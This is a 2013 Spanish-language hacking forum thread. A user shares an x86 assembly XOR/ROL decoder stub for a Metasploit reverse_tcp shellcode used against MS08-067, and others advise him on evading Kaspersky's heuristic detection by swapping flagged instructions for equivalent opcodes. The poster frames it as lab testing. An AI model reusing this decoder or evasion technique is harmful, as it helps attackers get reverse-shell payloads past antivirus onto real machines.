Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: xv0 en 16 Octubre 2013, 22:31 pm



Título: Deteccion de Shellcode
Publicado por: xv0 en 16 Octubre 2013, 22:31 pm
Hola

Bueno lo primero, si el tema no esta en su lugar correcto lo siento, creo que esta mejor aqui porque creo que es un problema de polimorfismo.

Bien estoy practicando los polimorfismo con las shellcodes, estoy haciendo las pruebas en un windows y con metasploit, windows tiene como sistema de seguridad "IDS" Kaspersky internet Security 14, y estoy explotando el tipico 08_067_netapi, bien tengo el siguiente encode.

Código
  1. _start:
  2.  
  3. xorl %ebx, %ebx
  4. movw $0x13a, %bx
  5. jmp _C.0
  6.  
  7.  
  8. _C.1:
  9.  
  10. popl %edx
  11.  
  12. _C.2:
  13.  
  14. xorb $0xff, (%edx, %ebx)
  15. rolb (%edx)
  16. decw %bx
  17. jnz _C.2
  18. jmp *%edx
  19.  
  20. _C.0:
  21.  
  22. call _C.1

Si, se puede mejorar sobre todo lo de bx, pero solo me preocupa la deteccion, entro en los sources de metasploit y modifico el payload windows/shell/reverse_tcp con el encode y los valores de Offsets.

Bien cuando tengo el AV desactivado todo bien, pero cuanto esta activado salta, esta es la deteccion.

Código:
PDM: Exploit.Win32.Generic

Apllication path: c:\windows\system32\svchost.exe

Hay por la red shellcodes anti-ids con polimorfismos mas simples, y la mia salta.

Pero cuando lanzo el ataque con metasploit marca lo siguientet, aplical su encode cosa que no le dije:

Código:
[*] Encoded stage with x86/shikata_ga_n
[*]Sending encoded stage (267 bytes) to 192.168.1.129

Que es problema de metasploit o de mi encode?

Un saludo.

P.D: No quiero hacer nada por hay, simplemente son pruebas, igualmente no me gusta mucho metasploit hace todo el trabajo.


Título: Re: Deteccion de Shellcode
Publicado por: Karcrack en 17 Octubre 2013, 12:15 pm
Nunca he jugado con IDS pero imagino por el tag que se trata de una detección heurística.

Ves nopeando instrucciones o grupos de instrucciones y mira a ver cuando deja de saltar...


Título: Re: Deteccion de Shellcode
Publicado por: xv0 en 17 Octubre 2013, 14:55 pm
Bien que te refieres a algo como esto.

Código
  1. _start:
  2.  
  3. nop
  4. nop
  5. xorl %ebx, %ebx
  6. movw $0x13a, %bx
  7. jmp _C.0
  8.  
  9.  
  10. _C.1:
  11.  
  12. popl %edx
  13.  
  14. _C.2:
  15.  
  16. nop
  17. nop
  18. xorb $0xff, (%edx, %ebx)
  19. rolb (%edx)
  20. decw %bx
  21. jnz _C.2
  22. jmp *%edx
  23.  
  24. _C.0:
  25.  
  26. call _C.1

Pero no detectara los nops como una amenaza?

Estoy leyendo un documento llamado x-raying. Tambien podria hacer que el encode en los xor el valor se cambiara, eso estaria mejor no?

Un saludo.


Título: Re: Deteccion de Shellcode
Publicado por: Karcrack en 17 Octubre 2013, 16:32 pm
Nah, me refiero a que vayas reemplazando instrucciones por nops a ver si la detección heurística es culpa del bucle o de alguna instrucción específica o qué...


Título: Re: Deteccion de Shellcode
Publicado por: xv0 en 18 Octubre 2013, 02:42 am
Vale ahora lo entiendo, dios que espeso que estaba es lo que tiene trasnochar.

Un saludo.

P.D: Lo del AES esta dejado aparte de momento, no tengo tiempo, pero creo que seria posible con pshufb de SSSE3.

Edito:

Bueno substitui los saltos y el call por nops, los comprobe uno por uno como dijiste, el AV no salto, pero como era de esperar la shellcode no funciona, en windows salta un error que es este

Código:
Generic Host Process for Win32 Services

Es posible que sean los saltos? O es cuando esta se ejecuta correctamente en memoria que la detecta? porque en la transferencia no dijo nada el AV.

Es que de windows no controlo nada, espero que me puedas echar un cable.


Título: Re: Deteccion de Shellcode
Publicado por: Karcrack en 18 Octubre 2013, 11:37 am
Bueno, la idea es que encuentres una instrucción que al reemplazarla por nop deje la shellcode indectable. Entonces buscas la forma de hacer la misma acción que la instrucción reemplaza con otros opcodes...


Título: Re: Deteccion de Shellcode
Publicado por: xv0 en 19 Octubre 2013, 02:37 am
Alguna sugerencia de como hacerlo? Utilizo el jump y el call para obtener el offset del principio de la shellcode, la mia y casi todas tienen un bucle parecio, por eso estoy un poco frustrado de que no funcione.

Con x64 tendria una idea pero esta es para x86, es x64 cuando haces una syscall esta te devuelve el offset en rcx de la siguiente instruccion, y al principio del programa rcx tiene el offset de inicio de .text, o al menos en OBSD, no seria necesario tomar la direccion porque ya la tengo en rcx.

Y no creo que sea el cifrado, porque como e dicho los hay mas simples y estan catalogados de anti-ids. Bueno lo pondre mejor y si continua saltando es que son los jumps y el call.

Un saludo.



Título: Re: Deteccion de Shellcode
Publicado por: MCKSys Argentina en 19 Octubre 2013, 02:57 am
Luego del call, podrias colocar un push r32 - pop r32 (o alguna combinacion parecida que rompa el stack), asi no empezarias directamente con un pop r32.

De igual forma con todo lo demas.

Es una idea...  :P

Saludos!